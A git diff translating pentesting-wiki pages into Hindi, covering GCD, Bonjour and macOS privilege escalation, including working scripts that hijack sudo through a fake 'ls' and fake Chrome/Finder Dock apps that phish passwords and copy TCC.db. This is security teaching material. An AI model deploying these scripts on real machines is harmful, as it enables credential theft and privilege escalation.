हैं: -- [**dispatch_async**](https://developer.apple.com/documentation/dispatch/1453057-dispatch_async): Submits a block for asynchronous execution on a dispatch queue and returns immediately. -- [**dispatch_sync**](https://developer.apple.com/documentation/dispatch/1452870-dispatch_sync): Submits a block object for execution and returns after that block finishes executing. -- [**dispatch_once**](https://developer.apple.com/documentation/dispatch/1447169-dispatch_once): Executes a block object only once for the lifetime of an application. -- [**dispatch_async_and_wait**](https://developer.apple.com/documentation/dispatch/3191901-dispatch_async_and_wait): Submits a work item for execution and returns only after it finishes executing. Unlike [**`dispatch_sync`**](https://developer.apple.com/documentation/dispatch/1452870-dispatch_sync), this function respects all attributes of the queue when it executes the block. +- [**dispatch_async**](https://developer.apple.com/documentation/dispatch/1453057-dispatch_async): एक डिस्पैच कतार पर असिंक्रोनस निष्पादन के लिए एक ब्लॉक सबमिट करता है और तुरंत लौटता है। +- [**dispatch_sync**](https://developer.apple.com/documentation/dispatch/1452870-dispatch_sync): निष्पादन के लिए एक ब्लॉक ऑब्जेक्ट सबमिट करता है और उस ब्लॉक के निष्पादित होने के बाद लौटता है। +- [**dispatch_once**](https://developer.apple.com/documentation/dispatch/1447169-dispatch_once): एक एप्लिकेशन के जीवनकाल के लिए केवल एक बार एक ब्लॉक ऑब्जेक्ट को निष्पादित करता है। +- [**dispatch_async_and_wait**](https://developer.apple.com/documentation/dispatch/3191901-dispatch_async_and_wait): निष्पादन के लिए एक कार्य आइटम सबमिट करता है और केवल तब लौटता है जब यह निष्पादित हो जाता है। [**`dispatch_sync`**](https://developer.apple.com/documentation/dispatch/1452870-dispatch_sync) के विपरीत, यह फ़ंक्शन ब्लॉक को निष्पादित करते समय कतार के सभी गुणों का सम्मान करता है। -These functions expect these parameters: [**`dispatch_queue_t`**](https://developer.apple.com/documentation/dispatch/dispatch_queue_t) **`queue,`** [**`dispatch_block_t`**](https://developer.apple.com/documentation/dispatch/dispatch_block_t) **`block`** - -This is the **struct of a Block**: +ये फ़ंक्शन इन पैरामीटर की अपेक्षा करते हैं: [**`dispatch_queue_t`**](https://developer.apple.com/documentation/dispatch/dispatch_queue_t) **`queue,`** [**`dispatch_block_t`**](https://developer.apple.com/documentation/dispatch/dispatch_block_t) **`block`** +यह एक **ब्लॉक का संरचना** है: ```c struct Block { - void *isa; // NSConcreteStackBlock,... - int flags; - int reserved; - void *invoke; - struct BlockDescriptor *descriptor; - // captured variables go here +void *isa; // NSConcreteStackBlock,... +int flags; +int reserved; +void *invoke; +struct BlockDescriptor *descriptor; +// captured variables go here }; ``` - -And this is an example to use **parallelism** with **`dispatch_async`**: - +और यह **`dispatch_async`** के साथ **parallelism** का उपयोग करने का एक उदाहरण है: ```objectivec #import // Define a block void (^backgroundTask)(void) = ^{ - // Code to be executed in the background - for (int i = 0; i < 10; i++) { - NSLog(@"Background task %d", i); - sleep(1); // Simulate a long-running task - } +// Code to be executed in the background +for (int i = 0; i < 10; i++) { +NSLog(@"Background task %d", i); +sleep(1); // Simulate a long-running task +} }; int main(int argc, const char * argv[]) { - @autoreleasepool { - // Create a dispatch queue - dispatch_queue_t backgroundQueue = dispatch_queue_create("com.example.backgroundQueue", NULL); +@autoreleasepool { +// Create a dispatch queue +dispatch_queue_t backgroundQueue = dispatch_queue_create("com.example.backgroundQueue", NULL); - // Submit the block to the queue for asynchronous execution - dispatch_async(backgroundQueue, backgroundTask); +// Submit the block to the queue for asynchronous execution +dispatch_async(backgroundQueue, backgroundTask); - // Continue with other work on the main queue or thread - for (int i = 0; i < 10; i++) { - NSLog(@"Main task %d", i); - sleep(1); // Simulate a long-running task - } - } - return 0; +// Continue with other work on the main queue or thread +for (int i = 0; i < 10; i++) { +NSLog(@"Main task %d", i); +sleep(1); // Simulate a long-running task +} +} +return 0; } ``` - ## Swift -**`libswiftDispatch`** is a library that provides **Swift bindings** to the Grand Central Dispatch (GCD) framework which is originally written in C.\ -The **`libswiftDispatch`** library wraps the C GCD APIs in a more Swift-friendly interface, making it easier and more intuitive for Swift developers to work with GCD. +**`libswiftDispatch`** एक पुस्तकालय है जो **Swift bindings** प्रदान करता है Grand Central Dispatch (GCD) ढांचे के लिए जो मूल रूप से C में लिखा गया है।\ +**`libswiftDispatch`** पुस्तकालय C GCD APIs को एक अधिक Swift-फ्रेंडली इंटरफेस में लपेटता है, जिससे Swift डेवलपर्स के लिए GCD के साथ काम करना आसान और अधिक सहज हो जाता है। - **`DispatchQueue.global().sync{ ... }`** - **`DispatchQueue.global().async{ ... }`** - **`let onceToken = DispatchOnce(); onceToken.perform { ... }`** - **`async await`** - - **`var (data, response) = await URLSession.shared.data(from: URL(string: "https://api.example.com/getData"))`** +- **`var (data, response) = await URLSession.shared.data(from: URL(string: "https://api.example.com/getData"))`** **Code example**: - ```swift import Foundation // Define a closure (the Swift equivalent of a block) let backgroundTask: () -> Void = { - for i in 0..<10 { - print("Background task \(i)") - sleep(1) // Simulate a long-running task - } +for i in 0..<10 { +print("Background task \(i)") +sleep(1) // Simulate a long-running task +} } // Entry point autoreleasepool { - // Create a dispatch queue - let backgroundQueue = DispatchQueue(label: "com.example.backgroundQueue") +// Create a dispatch queue +let backgroundQueue = DispatchQueue(label: "com.example.backgroundQueue") - // Submit the closure to the queue for asynchronous execution - backgroundQueue.async(execute: backgroundTask) +// Submit the closure to the queue for asynchronous execution +backgroundQueue.async(execute: backgroundTask) - // Continue with other work on the main queue - for i in 0..<10 { - print("Main task \(i)") - sleep(1) // Simulate a long-running task - } +// Continue with other work on the main queue +for i in 0..<10 { +print("Main task \(i)") +sleep(1) // Simulate a long-running task +} } ``` - ## Frida -The following Frida script can be used to **hook into several `dispatch`** functions and extract the queue name, the backtrace and the block: [**https://github.com/seemoo-lab/frida-scripts/blob/main/scripts/libdispatch.js**](https://github.com/seemoo-lab/frida-scripts/blob/main/scripts/libdispatch.js) - +निम्नलिखित Frida स्क्रिप्ट का उपयोग **कई `dispatch`** फ़ंक्शनों में हुक करने और कतार का नाम, बैकट्रेस और ब्लॉक निकालने के लिए किया जा सकता है: [**https://github.com/seemoo-lab/frida-scripts/blob/main/scripts/libdispatch.js**](https://github.com/seemoo-lab/frida-scripts/blob/main/scripts/libdispatch.js) ```bash frida -U -l libdispatch.js @@ -190,12 +183,11 @@ Backtrace: 0x19e3a57fc UIKitCore!+[UIGraphicsRenderer _destroyCGContext:withRenderer:] [...] ``` - ## Ghidra -Currently Ghidra doesn't understand neither the ObjectiveC **`dispatch_block_t`** structure, neither the **`swift_dispatch_block`** one. +वर्तमान में Ghidra न तो ObjectiveC **`dispatch_block_t`** संरचना को समझता है, न ही **`swift_dispatch_block`** को। -So if you want it to understand them, you could just **declare them**: +तो अगर आप इसे समझाना चाहते हैं, तो आप बस **उन्हें घोषित कर सकते हैं**:
@@ -203,18 +195,18 @@ So if you want it to understand them, you could just **declare them**:
-Then, find a place in the code where they are **used**: +फिर, कोड में एक जगह खोजें जहाँ वे **उपयोग किए गए हैं**: > [!TIP] -> Note all of references made to "block" to understand how you could figure out that the struct is being used. +> "block" के सभी संदर्भों को नोट करें ताकि आप समझ सकें कि संरचना का उपयोग किया जा रहा है।
-Right click on the variable -> Retype Variable and select in this case **`swift_dispatch_block`**: +वेरिएबल पर राइट क्लिक करें -> वेरिएबल को फिर से टाइप करें और इस मामले में **`swift_dispatch_block`** का चयन करें:
-Ghidra will automatically rewrite everything: +Ghidra स्वचालित रूप से सब कुछ फिर से लिख देगा:
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md index fa8e2aeb4..7e38fd78b 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md @@ -1,10 +1,10 @@ -# macOS Privilege Escalation +# macOS विशेषाधिकार वृद्धि {{#include ../../banners/hacktricks-training.md}} -## TCC Privilege Escalation +## TCC विशेषाधिकार वृद्धि -If you came here looking for TCC privilege escalation go to: +यदि आप TCC विशेषाधिकार वृद्धि के लिए यहाँ आए हैं तो जाएँ: {{#ref}} macos-security-protections/macos-tcc/ @@ -12,26 +12,25 @@ macos-security-protections/macos-tcc/ ## Linux Privesc -Please note that **most of the tricks about privilege escalation affecting Linux/Unix will affect also MacOS** machines. So see: +कृपया ध्यान दें कि **विशेषाधिकार वृद्धि के बारे में अधिकांश तरकीबें जो Linux/Unix को प्रभावित करती हैं, वे MacOS** मशीनों को भी प्रभावित करेंगी। इसलिए देखें: {{#ref}} ../../linux-hardening/privilege-escalation/ {{#endref}} -## User Interaction +## उपयोगकर्ता इंटरैक्शन ### Sudo Hijacking -You can find the original [Sudo Hijacking technique inside the Linux Privilege Escalation post](../../linux-hardening/privilege-escalation/#sudo-hijacking). - -However, macOS **maintains** the user's **`PATH`** when he executes **`sudo`**. Which means that another way to achieve this attack would be to **hijack other binaries** that the victim sill execute when **running sudo:** +आप मूल [Sudo Hijacking तकनीक को Linux विशेषाधिकार वृद्धि पोस्ट के अंदर पा सकते हैं](../../linux-hardening/privilege-escalation/#sudo-hijacking). +हालांकि, macOS **उपयोगकर्ता का** **`PATH`** बनाए रखता है जब वह **`sudo`** निष्पादित करता है। जिसका अर्थ है कि इस हमले को प्राप्त करने का एक और तरीका होगा **अन्य बाइनरीज़ को हाईजैक करना** जिन्हें पीड़ित **sudo चलाते समय** निष्पादित करेगा: ```bash # Let's hijack ls in /opt/homebrew/bin, as this is usually already in the users PATH cat > /opt/homebrew/bin/ls < /tmp/privesc +whoami > /tmp/privesc fi /bin/ls "\$@" EOF @@ -40,19 +39,17 @@ chmod +x /opt/homebrew/bin/ls # victim sudo ls ``` +ध्यान दें कि एक उपयोगकर्ता जो टर्मिनल का उपयोग करता है, उसके पास **Homebrew स्थापित** होने की संभावना है। इसलिए **`/opt/homebrew/bin`** में बाइनरीज़ को हाईजैक करना संभव है। -Note that a user that uses the terminal will highly probable have **Homebrew installed**. So it's possible to hijack binaries in **`/opt/homebrew/bin`**. +### डॉक अनुकरण -### Dock Impersonation - -Using some **social engineering** you could **impersonate for example Google Chrome** inside the dock and actually execute your own script: +कुछ **सोशल इंजीनियरिंग** का उपयोग करके आप डॉक के अंदर **उदाहरण के लिए Google Chrome** का **अनुकरण** कर सकते हैं और वास्तव में अपना खुद का स्क्रिप्ट चला सकते हैं: {{#tabs}} {{#tab name="Chrome Impersonation"}} -Some suggestions: - -- Check in the Dock if there is a Chrome, and in that case **remove** that entry and **add** the **fake** **Chrome entry in the same position** in the Dock array. +कुछ सुझाव: +- डॉक में देखें कि क्या वहां एक Chrome है, और यदि ऐसा है तो उस प्रविष्टि को **हटाएं** और डॉक एरे में **उसी स्थिति** में **नकली** **Chrome प्रविष्टि जोड़ें**। ```bash #!/bin/sh @@ -72,13 +69,13 @@ cat > /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome.c < int main() { - char *cmd = "open /Applications/Google\\\\ Chrome.app & " - "sleep 2; " - "osascript -e 'tell application \"Finder\"' -e 'set homeFolder to path to home folder as string' -e 'set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias' -e 'set targetFolder to POSIX file \"/tmp\" as alias' -e 'duplicate file sourceFile to targetFolder with replacing' -e 'end tell'; " - "PASSWORD=\$(osascript -e 'Tell application \"Finder\"' -e 'Activate' -e 'set userPassword to text returned of (display dialog \"Enter your password to update Google Chrome:\" default answer \"\" with hidden answer buttons {\"OK\"} default button 1 with icon file \"Applications:Google Chrome.app:Contents:Resources:app.icns\")' -e 'end tell' -e 'return userPassword'); " - "echo \$PASSWORD > /tmp/passwd.txt"; - system(cmd); - return 0; +char *cmd = "open /Applications/Google\\\\ Chrome.app & " +"sleep 2; " +"osascript -e 'tell application \"Finder\"' -e 'set homeFolder to path to home folder as string' -e 'set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias' -e 'set targetFolder to POSIX file \"/tmp\" as alias' -e 'duplicate file sourceFile to targetFolder with replacing' -e 'end tell'; " +"PASSWORD=\$(osascript -e 'Tell application \"Finder\"' -e 'Activate' -e 'set userPassword to text returned of (display dialog \"Enter your password to update Google Chrome:\" default answer \"\" with hidden answer buttons {\"OK\"} default button 1 with icon file \"Applications:Google Chrome.app:Contents:Resources:app.icns\")' -e 'end tell' -e 'return userPassword'); " +"echo \$PASSWORD > /tmp/passwd.txt"; +system(cmd); +return 0; } EOF @@ -94,22 +91,22 @@ cat << EOF > /tmp/Google\ Chrome.app/Contents/Info.plist "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> - CFBundleExecutable - Google Chrome - CFBundleIdentifier - com.google.Chrome - CFBundleName - Google Chrome - CFBundleVersion - 1.0 - CFBundleShortVersionString - 1.0 - CFBundleInfoDictionaryVersion - 6.0 - CFBundlePackageType - APPL - CFBundleIconFile - app +CFBundleExecutable +Google Chrome +CFBundleIdentifier +com.google.Chrome +CFBundleName +Google Chrome +CFBundleVersion +1.0 +CFBundleShortVersionString +1.0 +CFBundleInfoDictionaryVersion +6.0 +CFBundlePackageType +APPL +CFBundleIconFile +app EOF @@ -122,18 +119,16 @@ defaults write com.apple.dock persistent-apps -array-add 'tile-data /tmp/Finder.app/Contents/MacOS/Finder.c < int main() { - char *cmd = "open /System/Library/CoreServices/Finder.app & " - "sleep 2; " - "osascript -e 'tell application \"Finder\"' -e 'set homeFolder to path to home folder as string' -e 'set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias' -e 'set targetFolder to POSIX file \"/tmp\" as alias' -e 'duplicate file sourceFile to targetFolder with replacing' -e 'end tell'; " - "PASSWORD=\$(osascript -e 'Tell application \"Finder\"' -e 'Activate' -e 'set userPassword to text returned of (display dialog \"Finder needs to update some components. Enter your password:\" default answer \"\" with hidden answer buttons {\"OK\"} default button 1 with icon file \"System:Library:CoreServices:Finder.app:Contents:Resources:Finder.icns\")' -e 'end tell' -e 'return userPassword'); " - "echo \$PASSWORD > /tmp/passwd.txt"; - system(cmd); - return 0; +char *cmd = "open /System/Library/CoreServices/Finder.app & " +"sleep 2; " +"osascript -e 'tell application \"Finder\"' -e 'set homeFolder to path to home folder as string' -e 'set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias' -e 'set targetFolder to POSIX file \"/tmp\" as alias' -e 'duplicate file sourceFile to targetFolder with replacing' -e 'end tell'; " +"PASSWORD=\$(osascript -e 'Tell application \"Finder\"' -e 'Activate' -e 'set userPassword to text returned of (display dialog \"Finder needs to update some components. Enter your password:\" default answer \"\" with hidden answer buttons {\"OK\"} default button 1 with icon file \"System:Library:CoreServices:Finder.app:Contents:Resources:Finder.icns\")' -e 'end tell' -e 'return userPassword'); " +"echo \$PASSWORD > /tmp/passwd.txt"; +system(cmd); +return 0; } EOF @@ -175,22 +170,22 @@ cat << EOF > /tmp/Finder.app/Contents/Info.plist "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> - CFBundleExecutable - Finder - CFBundleIdentifier - com.apple.finder - CFBundleName - Finder - CFBundleVersion - 1.0 - CFBundleShortVersionString - 1.0 - CFBundleInfoDictionaryVersion - 6.0 - CFBundlePackageType - APPL - CFBundleIconFile - app +CFBundleExecutable +Finder +CFBundleIdentifier +com.apple.finder +CFBundleName +Finder +CFBundleVersion +1.0 +CFBundleShortVersionString +1.0 +CFBundleInfoDictionaryVersion +6.0 +CFBundlePackageType +APPL +CFBundleIconFile +app EOF @@ -203,17 +198,15 @@ defaults write com.apple.dock persistent-apps -array-add 'tile-data `Sharing` +ये सामान्य macOS सेवाएँ हैं जिन्हें दूरस्थ रूप से एक्सेस किया जा सकता है।\ +आप इन सेवाओं को `System Settings` --> `Sharing` में सक्षम/अक्षम कर सकते हैं। -- **VNC**, known as “Screen Sharing” (tcp:5900) -- **SSH**, called “Remote Login” (tcp:22) -- **Apple Remote Desktop** (ARD), or “Remote Management” (tcp:3283, tcp:5900) -- **AppleEvent**, known as “Remote Apple Event” (tcp:3031) - -Check if any is enabled running: +- **VNC**, जिसे “Screen Sharing” के रूप में जाना जाता है (tcp:5900) +- **SSH**, जिसे “Remote Login” कहा जाता है (tcp:22) +- **Apple Remote Desktop** (ARD), या “Remote Management” (tcp:3283, tcp:5900) +- **AppleEvent**, जिसे “Remote Apple Event” के रूप में जाना जाता है (tcp:3031) +जांचें कि क्या इनमें से कोई सक्षम है: ```bash rmMgmt=$(netstat -na | grep LISTEN | grep tcp46 | grep "*.3283" | wc -l); scrShrng=$(netstat -na | grep LISTEN | egrep 'tcp4|tcp6' | grep "*.5900" | wc -l); @@ -23,103 +22,90 @@ rAE=$(netstat -na | grep LISTEN | egrep 'tcp4|tcp6' | grep "*.3031" | wc -l); bmM=$(netstat -na | grep LISTEN | egrep 'tcp4|tcp6' | grep "*.4488" | wc -l); printf "\nThe following services are OFF if '0', or ON otherwise:\nScreen Sharing: %s\nFile Sharing: %s\nRemote Login: %s\nRemote Mgmt: %s\nRemote Apple Events: %s\nBack to My Mac: %s\n\n" "$scrShrng" "$flShrng" "$rLgn" "$rmMgmt" "$rAE" "$bmM"; ``` - ### Pentesting ARD -Apple Remote Desktop (ARD) is an enhanced version of [Virtual Network Computing (VNC)](https://en.wikipedia.org/wiki/Virtual_Network_Computing) tailored for macOS, offering additional features. A notable vulnerability in ARD is its authentication method for the control screen password, which only uses the first 8 characters of the password, making it prone to [brute force attacks](https://thudinh.blogspot.com/2017/09/brute-forcing-passwords-with-thc-hydra.html) with tools like Hydra or [GoRedShell](https://github.com/ahhh/GoRedShell/), as there are no default rate limits. +Apple Remote Desktop (ARD) एक उन्नत संस्करण है [Virtual Network Computing (VNC)](https://en.wikipedia.org/wiki/Virtual_Network_Computing) का, जो macOS के लिए अनुकूलित है, जो अतिरिक्त सुविधाएँ प्रदान करता है। ARD में एक उल्लेखनीय सुरक्षा कमजोरी इसका नियंत्रण स्क्रीन पासवर्ड के लिए प्रमाणीकरण विधि है, जो केवल पासवर्ड के पहले 8 अक्षरों का उपयोग करती है, जिससे यह [brute force attacks](https://thudinh.blogspot.com/2017/09/brute-forcing-passwords-with-thc-hydra.html) के प्रति संवेदनशील हो जाती है, जैसे कि Hydra या [GoRedShell](https://github.com/ahhh/GoRedShell/) के साथ, क्योंकि कोई डिफ़ॉल्ट दर सीमा नहीं है। -Vulnerable instances can be identified using **nmap**'s `vnc-info` script. Services supporting `VNC Authentication (2)` are especially susceptible to brute force attacks due to the 8-character password truncation. - -To enable ARD for various administrative tasks like privilege escalation, GUI access, or user monitoring, use the following command: +कमजोर उदाहरणों की पहचान **nmap** के `vnc-info` स्क्रिप्ट का उपयोग करके की जा सकती है। सेवाएँ जो `VNC Authentication (2)` का समर्थन करती हैं, विशेष रूप से 8-अक्षर पासवर्ड कटौती के कारण brute force हमलों के प्रति संवेदनशील होती हैं। +विभिन्न प्रशासनिक कार्यों जैसे कि विशेषाधिकार वृद्धि, GUI पहुंच, या उपयोगकर्ता निगरानी के लिए ARD को सक्षम करने के लिए, निम्नलिखित कमांड का उपयोग करें: ```bash sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -activate -configure -allowAccessFor -allUsers -privs -all -clientopts -setmenuextra -menuextra yes ``` +ARD विभिन्न नियंत्रण स्तर प्रदान करता है, जिसमें अवलोकन, साझा नियंत्रण और पूर्ण नियंत्रण शामिल हैं, और सत्र उपयोगकर्ता पासवर्ड परिवर्तन के बाद भी बने रहते हैं। यह सीधे Unix कमांड भेजने की अनुमति देता है, जिन्हें प्रशासनिक उपयोगकर्ताओं के लिए रूट के रूप में निष्पादित किया जाता है। कार्य अनुसूची और रिमोट स्पॉटलाइट खोज उल्लेखनीय विशेषताएँ हैं, जो कई मशीनों में संवेदनशील फ़ाइलों के लिए दूरस्थ, कम-प्रभाव वाली खोजों को सुविधाजनक बनाती हैं। -ARD provides versatile control levels, including observation, shared control, and full control, with sessions persisting even after user password changes. It allows sending Unix commands directly, executing them as root for administrative users. Task scheduling and Remote Spotlight search are notable features, facilitating remote, low-impact searches for sensitive files across multiple machines. +## Bonjour प्रोटोकॉल -## Bonjour Protocol +Bonjour, एक Apple द्वारा डिज़ाइन की गई तकनीक, **एक ही नेटवर्क पर उपकरणों को एक-दूसरे की पेश की गई सेवाओं का पता लगाने** की अनुमति देती है। इसे Rendezvous, **Zero Configuration**, या Zeroconf के रूप में भी जाना जाता है, यह एक उपकरण को TCP/IP नेटवर्क में शामिल होने, **स्वचालित रूप से एक IP पता चुनने**, और अन्य नेटवर्क उपकरणों को अपनी सेवाएँ प्रसारित करने में सक्षम बनाता है। -Bonjour, an Apple-designed technology, allows **devices on the same network to detect each other's offered services**. Known also as Rendezvous, **Zero Configuration**, or Zeroconf, it enables a device to join a TCP/IP network, **automatically choose an IP address**, and broadcast its services to other network devices. +Zero Configuration Networking, जो Bonjour द्वारा प्रदान किया जाता है, सुनिश्चित करता है कि उपकरण: -Zero Configuration Networking, provided by Bonjour, ensures that devices can: +- **DHCP सर्वर की अनुपस्थिति में भी स्वचालित रूप से एक IP पता प्राप्त करें।** +- **DNS सर्वर की आवश्यकता के बिना नाम-से-पता अनुवाद** करें। +- नेटवर्क पर उपलब्ध **सेवाओं का पता लगाएँ।** -- **Automatically obtain an IP Address** even in the absence of a DHCP server. -- Perform **name-to-address translation** without requiring a DNS server. -- **Discover services** available on the network. +Bonjour का उपयोग करने वाले उपकरण **169.254/16 रेंज** से एक **IP पता असाइन** करेंगे और नेटवर्क पर इसकी विशिष्टता की पुष्टि करेंगे। Macs इस उपनेट के लिए एक रूटिंग टेबल प्रविष्टि बनाए रखते हैं, जिसे `netstat -rn | grep 169` के माध्यम से सत्यापित किया जा सकता है। -Devices using Bonjour will assign themselves an **IP address from the 169.254/16 range** and verify its uniqueness on the network. Macs maintain a routing table entry for this subnet, verifiable via `netstat -rn | grep 169`. +DNS के लिए, Bonjour **Multicast DNS (mDNS) प्रोटोकॉल** का उपयोग करता है। mDNS **पोर्ट 5353/UDP** पर कार्य करता है, **मानक DNS प्रश्नों** का उपयोग करते हुए लेकिन **multicast पता 224.0.0.251** को लक्षित करता है। यह दृष्टिकोण सुनिश्चित करता है कि नेटवर्क पर सभी सुनने वाले उपकरण प्रश्नों को प्राप्त और उत्तर दे सकें, जिससे उनके रिकॉर्ड को अपडेट करने में मदद मिलती है। -For DNS, Bonjour utilizes the **Multicast DNS (mDNS) protocol**. mDNS operates over **port 5353/UDP**, employing **standard DNS queries** but targeting the **multicast address 224.0.0.251**. This approach ensures that all listening devices on the network can receive and respond to the queries, facilitating the update of their records. +नेटवर्क में शामिल होने पर, प्रत्येक उपकरण एक नाम का स्व-चयन करता है, जो आमतौर पर **.local** में समाप्त होता है, जो होस्टनाम से व्युत्पन्न हो सकता है या यादृच्छिक रूप से उत्पन्न हो सकता है। -Upon joining the network, each device self-selects a name, typically ending in **.local**, which may be derived from the hostname or randomly generated. +नेटवर्क के भीतर सेवा खोज को **DNS सेवा खोज (DNS-SD)** द्वारा सुविधाजनक बनाया जाता है। DNS SRV रिकॉर्ड के प्रारूप का लाभ उठाते हुए, DNS-SD **DNS PTR रिकॉर्ड** का उपयोग करके कई सेवाओं की सूची बनाने में सक्षम बनाता है। एक ग्राहक जो एक विशिष्ट सेवा की तलाश कर रहा है, `.` के लिए एक PTR रिकॉर्ड का अनुरोध करेगा, यदि सेवा कई होस्टों से उपलब्ध है तो उसे `..` के रूप में प्रारूपित PTR रिकॉर्ड की एक सूची प्राप्त होगी। -Service discovery within the network is facilitated by **DNS Service Discovery (DNS-SD)**. Leveraging the format of DNS SRV records, DNS-SD uses **DNS PTR records** to enable the listing of multiple services. A client seeking a specific service will request a PTR record for `.`, receiving in return a list of PTR records formatted as `..` if the service is available from multiple hosts. +`dns-sd` उपयोगिता का उपयोग **नेटवर्क सेवाओं की खोज और विज्ञापन** के लिए किया जा सकता है। इसके उपयोग के कुछ उदाहरण इस प्रकार हैं: -The `dns-sd` utility can be employed for **discovering and advertising network services**. Here are some examples of its usage: - -### Searching for SSH Services - -To search for SSH services on the network, the following command is used: +### SSH सेवाओं की खोज +नेटवर्क पर SSH सेवाओं की खोज के लिए, निम्नलिखित कमांड का उपयोग किया जाता है: ```bash dns-sd -B _ssh._tcp ``` +यह कमांड \_ssh.\_tcp सेवाओं के लिए ब्राउज़िंग शुरू करता है और टाइमस्टैम्प, फ्लैग, इंटरफेस, डोमेन, सेवा प्रकार, और इंस्टेंस नाम जैसी जानकारी आउटपुट करता है। -This command initiates browsing for \_ssh.\_tcp services and outputs details such as timestamp, flags, interface, domain, service type, and instance name. - -### Advertising an HTTP Service - -To advertise an HTTP service, you can use: +### HTTP सेवा का विज्ञापन +HTTP सेवा का विज्ञापन करने के लिए, आप उपयोग कर सकते हैं: ```bash dns-sd -R "Index" _http._tcp . 80 path=/index.html ``` +यह कमांड पोर्ट 80 पर `/index.html` के पथ के साथ "Index" नाम की एक HTTP सेवा को पंजीकृत करता है। -This command registers an HTTP service named "Index" on port 80 with a path of `/index.html`. - -To then search for HTTP services on the network: - +फिर नेटवर्क पर HTTP सेवाओं की खोज करने के लिए: ```bash dns-sd -B _http._tcp ``` +जब एक सेवा शुरू होती है, तो यह अपने अस्तित्व की घोषणा सभी उपकरणों को सबनेट पर मल्टीकास्ट करके करती है। इन सेवाओं में रुचि रखने वाले उपकरणों को अनुरोध भेजने की आवश्यकता नहीं होती है, बल्कि वे बस इन घोषणाओं को सुनते हैं। -When a service starts, it announces its availability to all devices on the subnet by multicasting its presence. Devices interested in these services don't need to send requests but simply listen for these announcements. - -For a more user-friendly interface, the **Discovery - DNS-SD Browser** app available on the Apple App Store can visualize the services offered on your local network. - -Alternatively, custom scripts can be written to browse and discover services using the `python-zeroconf` library. The [**python-zeroconf**](https://github.com/jstasiak/python-zeroconf) script demonstrates creating a service browser for `_http._tcp.local.` services, printing added or removed services: +एक अधिक उपयोगकर्ता-अनुकूल इंटरफ़ेस के लिए, **Discovery - DNS-SD Browser** ऐप जो Apple App Store पर उपलब्ध है, आपके स्थानीय नेटवर्क पर उपलब्ध सेवाओं को दृश्य रूप में प्रस्तुत कर सकता है। +वैकल्पिक रूप से, सेवाओं को ब्राउज़ और खोजने के लिए कस्टम स्क्रिप्ट लिखी जा सकती हैं जो `python-zeroconf` लाइब्रेरी का उपयोग करती हैं। [**python-zeroconf**](https://github.com/jstasiak/python-zeroconf) स्क्रिप्ट `_http._tcp.local.` सेवाओं के लिए एक सेवा ब्राउज़र बनाने का प्रदर्शन करती है, जो जोड़ी गई या हटी हुई सेवाओं को प्रिंट करती है: ```python from zeroconf import ServiceBrowser, Zeroconf class MyListener: - def remove_service(self, zeroconf, type, name): - print("Service %s removed" % (name,)) +def remove_service(self, zeroconf, type, name): +print("Service %s removed" % (name,)) - def add_service(self, zeroconf, type, name): - info = zeroconf.get_service_info(type, name) - print("Service %s added, service info: %s" % (name, info)) +def add_service(self, zeroconf, type, name): +info = zeroconf.get_service_info(type, name) +print("Service %s added, service info: %s" % (name, info)) zeroconf = Zeroconf() listener = MyListener() browser = ServiceBrowser(zeroconf, "_http._tcp.local.", listener) try: - input("Press enter to exit...\n\n") +input("Press enter to exit...\n\n") finally: - zeroconf.close() +zeroconf.close() ``` +### Bonjour को बंद करना -### Disabling Bonjour - -If there are concerns about security or other reasons to disable Bonjour, it can be turned off using the following command: - +यदि सुरक्षा के बारे में चिंताएँ हैं या Bonjour को बंद करने के अन्य कारण हैं, तो इसे निम्नलिखित कमांड का उपयोग करके बंद किया जा सकता है: ```bash sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.mDNSResponder.plist ``` - -## References +## संदर्भ - [**The Mac Hacker's Handbook**](https://www.amazon.com/-/es/Charlie-Miller-ebook-dp-B004U7MUMU/dp/B004U7MUMU/ref=mt_other?_encoding=UTF8&me=&qid=) - [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html) diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/README.md index 121489307..1c338ef10 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/README.md @@ -4,39 +4,45 @@ ## POSIX permissions combinations -Permissions in a **directory**: +**डायरेक्टरी** में अनुमतियाँ: -- **read** - आप **directory entries** को **enumerate** कर सकते हैं -- **write** - आप directory में **files** को **delete/write** कर सकते हैं और आप **खाली फोल्डर्स** को **delete** कर सकते हैं। -- लेकिन आप **non-empty folders** को **delete/modify** नहीं कर सकते जब तक कि आपके पास उस पर write permissions न हों। -- आप **folder का नाम** **modify** नहीं कर सकते जब तक कि आप उसके मालिक न हों। -- **execute** - आपको directory को **traverse** करने की **अनुमति** है - यदि आपके पास यह अधिकार नहीं है, तो आप इसके अंदर या किसी भी subdirectories में कोई files तक पहुँच नहीं सकते। +- **पढ़ें** - आप **डायरेक्टरी** प्रविष्टियों को **गिन सकते** हैं +- **लिखें** - आप डायरेक्टरी में **फाइलें** **हटा/लिख** सकते हैं और आप **खाली फ़ोल्डर** हटा सकते हैं। +- लेकिन आप **खाली नहीं** फ़ोल्डरों को **हटा/संशोधित** नहीं कर सकते जब तक कि आपके पास उस पर लिखने की अनुमति न हो। +- आप **फोल्डर का नाम** संशोधित नहीं कर सकते जब तक कि आप इसके मालिक न हों। +- **निष्पादित करें** - आपको **डायरेक्टरी** को पार करने की **अनुमति** है - यदि आपके पास यह अधिकार नहीं है, तो आप इसके अंदर किसी भी फाइलों 